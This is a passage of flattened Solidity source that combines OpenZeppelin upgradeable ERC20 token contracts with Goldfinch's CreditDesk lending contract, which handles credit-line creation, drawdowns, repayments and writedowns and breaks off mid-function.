uint256 _assets = config.getPool().assets();
if (_assets >= liabilitiesInDollars) {
return _assets.sub(liabilitiesInDollars) <= ASSET_LIABILITY_MATCH_THRESHOLD;
} else {
return liabilitiesInDollars.sub(_assets) <= ASSET_LIABILITY_MATCH_THRESHOLD;
}
}
// canBurn assumes that the USDC that backed these shares has already been moved out the Pool
function canBurn(uint256 amountToBurn) internal view returns (bool) {
uint256 liabilities = totalSupply().sub(amountToBurn).mul(config.getPool().sharePrice()).div(fiduMantissa());
uint256 liabilitiesInDollars = fiduToUSDC(liabilities);
uint256 _assets = config.getPool().assets();
if (_assets >= liabilitiesInDollars) {
return _assets.sub(liabilitiesInDollars) <= ASSET_LIABILITY_MATCH_THRESHOLD;
} else {
return liabilitiesInDollars.sub(_assets) <= ASSET_LIABILITY_MATCH_THRESHOLD;
}
}
function fiduToUSDC(uint256 amount) internal view returns (uint256) {
return amount.div(fiduMantissa().div(usdcMantissa()));
}
function fiduMantissa() internal view returns (uint256) {
return uint256(10)**uint256(decimals());
}
function usdcMantissa() internal view returns (uint256) {
return uint256(10)**uint256(config.getUSDC().decimals());
}
}
pragma solidity ^0.6.0;
import "../access/AccessControl.sol";
import "../GSN/Context.sol";
import "../token/ERC20/ERC20.sol";
import "../token/ERC20/ERC20Burnable.sol";
import "../token/ERC20/ERC20Pausable.sol";
import "../Initializable.sol";
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a minter role that allows for token minting (creation)
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* The account that deploys the contract will be granted the minter and pauser
* roles, as well as the default admin role, which will let it grant both minter
* and pauser roles to aother accounts
*/
contract ERC20PresetMinterPauserUpgradeSafe is Initializable, ContextUpgradeSafe, AccessControlUpgradeSafe, ERC20BurnableUpgradeSafe, ERC20PausableUpgradeSafe {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
function initialize(string memory name, string memory symbol) public {
__ERC20PresetMinterPauser_init(name, symbol);
}
function __ERC20PresetMinterPauser_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__AccessControl_init_unchained();
__ERC20_init_unchained(name, symbol);
__ERC20Burnable_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
__ERC20PresetMinterPauser_init_unchained(name, symbol);
}
function __ERC20PresetMinterPauser_init_unchained(string memory name, string memory symbol) internal initializer {
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setupRole(MINTER_ROLE, _msgSender());
_setupRole(PAUSER_ROLE, _msgSender());
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
* Requirements:
*
* - the caller must have the `MINTER_ROLE`.
*/
function mint(address to, uint256 amount) public {
require(hasRole(MINTER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have minter role to mint");
_mint(to, amount);
}
/**
* @dev Pauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_pause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function pause() public {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to pause");
_pause();
}
/**
* @dev Unpauses all token transfers.
*
* See {ERC20Pausable} and {Pausable-_unpause}.
*
* Requirements:
*
* - the caller must have the `PAUSER_ROLE`.
*/
function unpause() public {
require(hasRole(PAUSER_ROLE, _msgSender()), "ERC20PresetMinterPauser: must have pauser role to unpause");
_unpause();
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal override(ERC20UpgradeSafe, ERC20PausableUpgradeSafe) {
super._beforeTokenTransfer(from, to, amount);
}
uint256[50] private __gap;
}
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
import "../../Initializable.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20MinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
function __ERC20_init(string memory name, string memory symbol) internal initializer {
__Context_init_unchained();
__ERC20_init_unchained(name, symbol);
}
function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
uint256[44] private __gap;
}
pragma solidity ^0.6.0;
import "../../GSN/Context.sol";
import "./ERC20.sol";
import "../../Initializable.sol";
/**
* @dev Extension of {ERC20} that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
abstract contract ERC20BurnableUpgradeSafe is Initializable, ContextUpgradeSafe, ERC20UpgradeSafe {
function __ERC20Burnable_init() internal initializer {
__Context_init_unchained();
__ERC20Burnable_init_unchained();
}
function __ERC20Burnable_init_unchained() internal initializer {
}
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
uint256[50] private __gap;
}
pragma solidity ^0.6.0;
import "./ERC20.sol";
import "../../utils/Pausable.sol";
import "../../Initializable.sol";
/**
* @dev ERC20 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC20PausableUpgradeSafe is Initializable, ERC20UpgradeSafe, PausableUpgradeSafe {
function __ERC20Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
__ERC20Pausable_init_unchained();
}
function __ERC20Pausable_init_unchained() internal initializer {
}
/**
* @dev See {ERC20-_beforeTokenTransfer}.
*
* Requirements:
*
* - the contract must not be paused.
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
require(!paused(), "ERC20Pausable: token transfer while paused");
}
uint256[50] private __gap;
}
// contracts/GLDToken.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol";
contract TestERC20 is ERC20UpgradeSafe {
constructor(uint256 initialSupply, uint8 decimals) public {
__ERC20_init("USDC", "USDC");
_setupDecimals(decimals);
_mint(msg.sender, initialSupply);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./BaseUpgradeablePausable.sol";
import "./ConfigHelper.sol";
import "./Accountant.sol";
import "./CreditLine.sol";
import "./CreditLineFactory.sol";
/**
* @title Goldfinch's CreditDesk contract
* @notice Main entry point for borrowers and underwriters.
* Handles key logic for creating CreditLine's, borrowing money, repayment, etc.
* @author Goldfinch
*/
contract CreditDesk is BaseUpgradeablePausable, ICreditDesk {
// Approximate number of blocks per day
uint256 public constant BLOCKS_PER_DAY = 5760;
GoldfinchConfig public config;
using ConfigHelper for GoldfinchConfig;
struct Underwriter {
uint256 governanceLimit;
address[] creditLines;
}
struct Borrower {
address[] creditLines;
}
event PaymentApplied(
address indexed payer,
address indexed creditLine,
uint256 interestAmount,
uint256 principalAmount,
uint256 remainingAmount
);
event PaymentCollected(address indexed payer, address indexed creditLine, uint256 paymentAmount);
event DrawdownMade(address indexed borrower, address indexed creditLine, uint256 drawdownAmount);
event CreditLineCreated(address indexed borrower, address indexed creditLine);
event GovernanceUpdatedUnderwriterLimit(address indexed underwriter, uint256 newLimit);
mapping(address => Underwriter) public underwriters;
mapping(address => Borrower) private borrowers;
mapping(address => address) private creditLines;
/**
* @notice Run only once, on initialization
* @param owner The address of who should have the "OWNER_ROLE" of this contract
* @param _config The address of the GoldfinchConfig contract
*/
function initialize(address owner, GoldfinchConfig _config) public initializer {
__BaseUpgradeablePausable__init(owner);
config = _config;
}
/**
* @notice Sets a particular underwriter's limit of how much credit the DAO will allow them to "create"
* @param underwriterAddress The address of the underwriter for whom the limit shall change
* @param limit What the new limit will be set to
* Requirements:
*
* - the caller must have the `OWNER_ROLE`.
*/
function setUnderwriterGovernanceLimit(address underwriterAddress, uint256 limit)
external
override
onlyAdmin
whenNotPaused
{
require(withinMaxUnderwriterLimit(limit), "This limit is greater than the max allowed by the protocol");
underwriters[underwriterAddress].governanceLimit = limit;
emit GovernanceUpdatedUnderwriterLimit(underwriterAddress, limit);
}
/**
* @notice Allows an underwriter to create a new CreditLine for a single borrower
* @param _borrower The borrower for whom the CreditLine will be created
* @param _limit The maximum amount a borrower can drawdown from this CreditLine
* @param _interestApr The interest amount, on an annualized basis (APR, so non-compounding), expressed as an integer.
* We assume 8 digits of precision. For example, to submit 15.34%, you would pass up 15340000,
* and 5.34% would be 5340000
* @param _paymentPeriodInDays How many days in each payment period.
* ie. the frequency with which they need to make payments.
* @param _termInDays Number of days in the credit term. It is used to set the `termEndBlock` upon first drawdown.
* ie. The credit line should be fully paid off {_termIndays} days after the first drawdown.
* @param _lateFeeApr The additional interest you will pay if you are late. For example, if this is 3%, and your
* normal rate is 15%, then you will pay 18% while you are late.
*
* Requirements:
*
* - the caller must be an underwriter with enough limit (see `setUnderwriterGovernanceLimit`)
*/
function createCreditLine(
address _borrower,
uint256 _limit,
uint256 _interestApr,
uint256 _paymentPeriodInDays,
uint256 _termInDays,
uint256 _lateFeeApr
) public override whenNotPaused returns (address) {
Underwriter storage underwriter = underwriters[msg.sender];
Borrower storage borrower = borrowers[_borrower];
require(underwriterCanCreateThisCreditLine(_limit, underwriter), "The underwriter cannot create this credit line");
address clAddress = getCreditLineFactory().createCreditLine("");
CreditLine cl = CreditLine(clAddress);
cl.initialize(
address(this),
_borrower,
msg.sender,
_limit,
_interestApr,
_paymentPeriodInDays,
_termInDays,
_lateFeeApr
);
underwriter.creditLines.push(clAddress);
borrower.creditLines.push(clAddress);
creditLines[clAddress] = clAddress;
emit CreditLineCreated(_borrower, clAddress);
cl.grantRole(keccak256("OWNER_ROLE"), config.protocolAdminAddress());
cl.authorizePool(address(config));
return clAddress;
}
/**
* @notice Allows a borrower to drawdown on their creditline.
* `amount` USDC is sent to the borrower, and the credit line accounting is updated.
* @param amount The amount, in USDC atomic units, that a borrower wishes to drawdown
* @param creditLineAddress The creditline from which they would like to drawdown
* @param addressToSendTo The address where they would like the funds sent. If the zero address is passed,
* it will be defaulted to the borrower's address (msg.sender). This is a convenience feature for when they would
* like the funds sent to an exchange or alternate wallet, different from the authentication address
*
* Requirements:
*
* - the caller must be the borrower on the creditLine
*/
function drawdown(
uint256 amount,
address creditLineAddress,
address addressToSendTo
) external override whenNotPaused onlyValidCreditLine(creditLineAddress) {
CreditLine cl = CreditLine(creditLineAddress);
Borrower storage borrower = borrowers[msg.sender];
require(borrower.creditLines.length > 0, "No credit lines exist for this borrower");
require(amount > 0, "Must drawdown more than zero");
require(cl.borrower() == msg.sender, "You do not belong to this credit line");
require(withinTransactionLimit(amount), "Amount is over the per-transaction limit");
require(withinCreditLimit(amount, cl), "The borrower does not have enough credit limit for this drawdown");
if (addressToSendTo == address(0)) {
addressToSendTo = msg.sender;
}
if (cl.balance() == 0) {
cl.setInterestAccruedAsOfBlock(blockNumber());
cl.setLastFullPaymentBlock(blockNumber());
}
// Must get the interest and principal accrued prior to adding to the balance.
(uint256 interestOwed, uint256 principalOwed) = updateAndGetInterestAndPrincipalOwedAsOf(cl, blockNumber());
uint256 balance = cl.balance().add(amount);
updateCreditLineAccounting(cl, balance, interestOwed, principalOwed);
// Must put this after we update the credit line accounting, so we're using the latest
// interestOwed
require(!isLate(cl), "Cannot drawdown when payments are past due");
emit DrawdownMade(msg.sender, address(cl), amount);
bool success = config.getPool().transferFrom(config.poolAddress(), addressToSendTo, amount);
require(success, "Failed to drawdown");
}
/**
* @notice Allows a borrower to repay their loan. Payment is *collected* immediately (by sending it to
* the individual CreditLine), but it is not *applied* unless it is after the nextDueBlock, or until we assess
* the credit line (ie. payment period end).
* Any amounts over the minimum payment will be applied to outstanding principal (reducing the effective
* interest rate). If there is still any left over, it will remain in the USDC Balance
* of the CreditLine, which is held distinct from the Pool amounts, and can not be withdrawn by LP's.
* @param creditLineAddress The credit line to be paid back
* @param amount The amount, in USDC atomic units, that a borrower wishes to pay
*/
function pay(address creditLineAddress, uint256 amount)
external
override
whenNotPaused
onlyValidCreditLine(creditLineAddress)
{
require(amount > 0, "Must pay more than zero");
CreditLine cl = CreditLine(creditLineAddress);
collectPayment(cl, amount);
assessCreditLine(creditLineAddress);
}
/**
* @notice Assesses a particular creditLine. This will apply payments, which will update accounting and
* distribute gains or losses back to the pool accordingly. This function is idempotent, and anyone
* is allowed to call it.
* @param creditLineAddress The creditline that should be assessed.
*/
function assessCreditLine(address creditLineAddress)
public
override
whenNotPaused
onlyValidCreditLine(creditLineAddress)
{
CreditLine cl = CreditLine(creditLineAddress);
// Do not assess until a full period has elapsed or past due
require(cl.balance() > 0, "Must have balance to assess credit line");
// Don't assess credit lines early!
if (blockNumber() < cl.nextDueBlock() && !isLate(cl)) {
return;
}
cl.setNextDueBlock(calculateNextDueBlock(cl));
uint256 blockToAssess = cl.nextDueBlock();
// We always want to assess for the most recently *past* nextDueBlock.
// So if the recalculation above sets the nextDueBlock into the future,
// then ensure we pass in the one just before this.
if (cl.nextDueBlock() > blockNumber()) {
uint256 blocksPerPeriod = cl.paymentPeriodInDays().mul(BLOCKS_PER_DAY);
blockToAssess = cl.nextDueBlock().sub(blocksPerPeriod);
}
applyPayment(cl, getUSDCBalance(address(cl)), blockToAssess);
}
function migrateCreditLine(
CreditLine clToMigrate,
address _borrower,
uint256 _limit,
uint256 _interestApr,
uint256 _paymentPeriodInDays,
uint256 _termInDays,
uint256 _lateFeeApr
) public onlyAdmin {
require(clToMigrate.limit() > 0, "Can't migrate empty credit line");
address newClAddress =
createCreditLine(_borrower, _limit, _interestApr, _paymentPeriodInDays, _termInDays, _lateFeeApr);
CreditLine newCl = CreditLine(newClAddress);
// Set accounting state vars.
newCl.setBalance(clToMigrate.balance());
newCl.setInterestOwed(clToMigrate.interestOwed());
newCl.setPrincipalOwed(clToMigrate.principalOwed());
newCl.setTermEndBlock(clToMigrate.termEndBlock());
newCl.setNextDueBlock(clToMigrate.nextDueBlock());
newCl.setInterestAccruedAsOfBlock(clToMigrate.interestAccruedAsOfBlock());
newCl.setWritedownAmount(clToMigrate.writedownAmount());
newCl.setLastFullPaymentBlock(clToMigrate.lastFullPaymentBlock());
// Close out the original credit line
clToMigrate.setLimit(0);
clToMigrate.setBalance(0);
bool success =
config.getPool().transferFrom(
address(clToMigrate),
address(newCl),
config.getUSDC().balanceOf(address(clToMigrate))
);
require(success, "Failed to transfer funds");
}
// Public View Functions (Getters)
/**
* @notice Simple getter for the creditlines of a given underwriter
* @param underwriterAddress The underwriter address you would like to see the credit lines of.
*/
function getUnderwriterCreditLines(address underwriterAddress) public view whenNotPaused returns (address[] memory) {
return underwriters[underwriterAddress].creditLines;
}
/**
* @notice Simple getter for the creditlines of a given borrower
* @param borrowerAddress The borrower address you would like to see the credit lines of.
*/
function getBorrowerCreditLines(address borrowerAddress) public view whenNotPaused returns (address[] memory) {
return borrowers[borrowerAddress].creditLines;
}
/*
* Internal Functions
*/
/**
* @notice Collects `amount` of payment for a given credit line. This sends money from the payer to the credit line.
* Note that payment is not *applied* when calling this function. Only collected (ie. held) for later application.
* @param cl The CreditLine the payment will be collected for.
* @param amount The amount, in USDC atomic units, to be collected
*/
function collectPayment(CreditLine cl, uint256 amount) internal {
require(withinTransactionLimit(amount), "Amount is over the per-transaction limit");
require(config.getUSDC().balanceOf(msg.sender) >= amount, "You have insufficent balance for this payment");
emit PaymentCollected(msg.sender, address(cl), amount);
bool success = config.getPool().transferFrom(msg.sender, address(cl), amount);
require(success, "Failed to collect payment");
}
/**
* @notice Applies `amount` of payment for a given credit line. This moves already collected money into the Pool.
* It also updates all the accounting variables. Note that interest is always paid back first, then principal.
* Any extra after paying the minimum will go towards existing principal (reducing the
* effective interest rate). Any extra after the full loan has been paid off will remain in the
* USDC Balance of the creditLine, where it will be automatically used for the next drawdown.
* @param cl The CreditLine the payment will be collected for.
* @param amount The amount, in USDC atomic units, to be applied
* @param blockNumber The blockNumber on which accrual calculations should be based. This allows us
* to be precise when we assess a Credit Line
*/
function applyPayment(
CreditLine cl,
uint256 amount,
uint256 blockNumber
) internal {
(uint256 paymentRemaining, uint256 interestPayment, uint256 principalPayment) =
handlePayment(cl, amount, blockNumber);
updateWritedownAmounts(cl);
if (interestPayment > 0) {
emit PaymentApplied(cl.borrower(), address(cl), interestPayment, principalPayment, paymentRemaining);
config.getPool().collectInterestRepayment(address(cl), interestPayment);
}
if (principalPayment > 0) {
emit PaymentApplied(cl.borrower(), address(cl), interestPayment, principalPayment, paymentRemaining);
config.getPool().collectPrincipalRepayment(address(cl), principalPayment);
}
}
function handlePayment(
CreditLine cl,
uint256 paymentAmount,
uint256 asOfBlock
)
internal
returns (
uint256,
uint256,
uint256
)
{
(uint256 interestOwed, uint256 principalOwed) = updateAndGetInterestAndPrincipalOwedAsOf(cl, asOfBlock);
Accountant.PaymentAllocation memory pa =
Accountant.allocatePayment(paymentAmount, cl.balance(), interestOwed, principalOwed);
uint256 newBalance = cl.balance().sub(pa.principalPayment);
// Apply any additional payment towards the balance
newBalance = newBalance.sub(pa.additionalBalancePayment);
uint256 totalPrincipalPayment = cl.balance().sub(newBalance);
uint256 paymentRemaining = paymentAmount.sub(pa.interestPayment).sub(totalPrincipalPayment);
updateCreditLineAccounting(
cl,
newBalance,
interestOwed.sub(pa.interestPayment),
principalOwed.sub(pa.principalPayment)
);
assert(paymentRemaining.add(pa.interestPayment).add(totalPrincipalPayment) == paymentAmount);
return (paymentRemaining, pa.interestPayment, totalPrincipalPayment);
}
function updateWritedownAmounts(CreditLine cl) internal {
(uint256 writedownPercent, uint256 writedownAmount) =
Accountant.calculateWritedownFor(
cl,
blockNumber(),
config.getLatenessGracePeriodInDays(),
config.getLatenessMaxDays()
);
if (writedownPercent == 0 && cl.writedownAmount() == 0) {
return;
}
int256 writedownDelta = int256(cl.writedownAmount()) - int256(writedownAmount);
cl.setWritedownAmount(writedownAmount);
if (writedownDelta > 0) {
// If writedownDelta is positive, that means we got money back. So subtract from totalWritedowns.
totalWritedowns = totalWritedowns.sub(uint256(writedownDelta));
} else {
totalWritedowns = totalWritedowns.add(uint256(writedownDelta * -1));
}
config.getPool().distributeLosses(address(cl), writedownDelta);
}
function isLate(CreditLine cl) internal view returns (bool) {
uint256 blocksElapsedSinceFullPayment = blockNumber().sub(cl.lastFullPaymentBlock());
return blocksElapsedSinceFullPayment > cl.paymentPeriodInDays().mul(BLOCKS_PER_DAY);
}
function getCreditLineFactory() internal view returns (CreditLineFactory) {
return CreditLineFactory(config.getAddress(uint256(ConfigOptions.Addresses.CreditLineFactory)));
}
function subtractClFromTotalLoansOutstanding(CreditLine cl) internal {
totalLoansOutstanding = totalLoansOutstanding.sub(cl.balance());
}
function addCLToTotalLoansOutstanding(CreditLine cl) internal {
totalLoansOutstanding = totalLoansOutstanding.add(cl.balance());
}
function updateAndGetInterestAndPrincipalOwedAsOf(CreditLine cl, uint256 blockNumber)
internal
returns (uint256, uint256)
{
(uint256 interestAccrued, uint256 principalAccrued) =
Accountant.calculateInterestAndPrincipalAccrued(cl, blockNumber, config.getLatenessGracePeriodInDays());
if (interestAccrued > 0) {
// If we've accrued any interest, update interestAccruedAsOfBLock to the block that we've
// calculated interest for. If we've not accrued any interest, then we keep the old value so the next
// time the entire period is taken into account.
cl.setInterestAccruedAsOfBlock(blockNumber);
}
return (cl.interestOwed().add(interestAccrued), cl.principalOwed().add(principalAccrued));
}
function withinCreditLimit(uint256 amount, CreditLine cl) internal view returns (bool) {
return cl.balance().add(amount) <= cl.limit();
}
function withinTransactionLimit(uint256 amount) internal view returns (bool) {
return amount <= config.getNumber(uint256(ConfigOptions.Numbers.TransactionLimit));
}
function calculateNewTermEndBlock(CreditLine cl) internal view returns (uint256) {
// If there's no balance, there's no loan, so there's no term end block
if (cl.balance() == 0) {
return 0;
}
// Don't allow any weird bugs where we add to your current end block. This
// function should only be used on new credit lines, when we are setting them up
if (cl.termEndBlock() != 0) {
return cl.termEndBlock();
}
return blockNumber().add(BLOCKS_PER_DAY.mul(cl.termInDays()));
}
function calculateNextDueBlock(CreditLine cl) internal view returns (uint256) {
uint256 blocksPerPeriod = cl.paymentPeriodInDays().mul(BLOCKS_PER_DAY);
// Your paid off, or have not taken out a loan yet, so no next due block.
if (cl.balance() == 0 && cl.nextDueBlock() != 0) {
return 0;
}
// You must have just done your first drawdown
if (cl.nextDueBlock() == 0 && cl.balance() > 0) {
return blockNumber().add(blocksPerPeriod);
}
// Active loan that has entered a new period, so return the *next* nextDueBlock.
// But never return something after the termEndBlock
if (cl.balance() > 0 && blockNumber() >= cl.nextDueBlock()) {
uint256 blocksToAdvance = (blockNumber().sub(cl.nextDueBlock()).div(blocksPerPeriod)).add(1).mul(blocksPerPeriod);
uint256 nextDueBlock = cl.nextDueBlock().add(blocksToAdvance);
return Math.min(nextDueBlock, cl.termEndBlock());
}
// Active loan in current period, where we've already set the nextDueBlock correctly, so should not change.
if (cl.balance() > 0 && blockNumber() < cl.nextDueBlock()) {
return cl.nextDueBlock();
}
revert("Error: could not calculate next due block.");
}
function blockNumber() internal view virtual returns (uint256) {
return block.number;
}
function underwriterCanCreateThisCreditLine(uint256 newAmount, Underwriter storage underwriter)
internal
view
returns (bool)
{
require(underwriter.governanceLimit != 0, "underwriter does not have governance limit");
uint256 creditCurrentlyExtended = getCreditCurrentlyExtended(underwriter);
uint256 totalToBeExtended = creditCurrentlyExtended.add(newAmount);
return totalToBeExtended <= underwriter.governanceLimit;
}
function withinMaxUnderwriterLimit(uint256 amount) internal view returns (bool) {
return amount <= config.getNumber(uint256(ConfigOptions.Numbers.MaxUnderwriterLimit));
}
function getCreditCurrentlyExtended(Underwriter storage underwriter) internal view returns (uint256) {
uint256 creditExtended;
uint256 length = underwriter.creditLines.length;
for (uint256 i = 0; i < length; i++) {
CreditLine cl = CreditLine(underwriter.creditLines[i]);
creditExtended = creditExtended.add(cl.limit());
}
return creditExtended;
}
function updateCreditLineAccounting(
